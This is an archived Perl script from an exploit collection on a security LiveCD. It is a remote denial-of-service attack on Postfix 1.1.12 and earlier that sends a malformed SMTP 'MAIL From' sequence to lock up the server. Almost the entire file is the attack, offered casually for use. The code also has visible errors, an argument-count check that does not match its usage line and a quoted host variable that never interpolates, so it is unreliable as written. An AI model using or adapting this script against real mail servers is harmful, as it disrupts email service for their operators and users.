home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / postfix / postfix.pl < prev    next >
Perl Script  |  2005-02-12  |  936b  |  47 lines
  1. #!/usr/bin/perl
  2.  
  3. #Remote Dos for postfix version 1.1.12
  4. #tested on redhat 9.0, redhat 8.0, mandrake 9.0
  5. #deadbeat,
  6. #mail: daniels@legend.co.uk
  7. #     deadbeat@sdf.lonestar.org
  8. #
  9. #thanks..enjoy ;)
  10.  
  11. use IO::Socket;
  12. if (!$ARGV[3]){
  13.    die "Usage:perl $0 <subject> <data> <smtp host to use>\n";
  14. }
  15. $subject = $ARGV[0];
  16. $junk = $ARGV[1];
  17. $smtp_host = $ARGV[2];
  18.  
  19.  
  20. $helo = "HELO $smtp_host\r\n";
  21. $rcpt = "RCPT To:<nonexistant@127.0.0.1>\r\n";
  22. $data = "DATA\n$junk\r\n";
  23. $sub = "Subject: $subject\r\n";
  24. $from = "MAIL From <.!@$smtp_host>\r\n";
  25. print "Going to connect to $smtp_host\n";
  26. $sox = IO::Socket::INET->new(
  27.    Proto=> 'tcp',
  28.    PeerPort=>'25',
  29.    PeerAddr=>'$smtp_host',
  30. );
  31. print "Connected...\n";
  32. print $sox $helo;
  33. sleep 1;
  34. print $sox $from;
  35. sleep 1;
  36. print $sox $rcpt;
  37. sleep 1;
  38. print $sox $sub;
  39. sleep 1;
  40. print $sox $data;
  41. sleep 1;
  42. print $sox ".\r\n\r\n";
  43. sleep 1;
  44. close $sox;
  45. print "Done..should lock up Postfix 1.1.12 and below ;)\n\n";
  46.  
  47.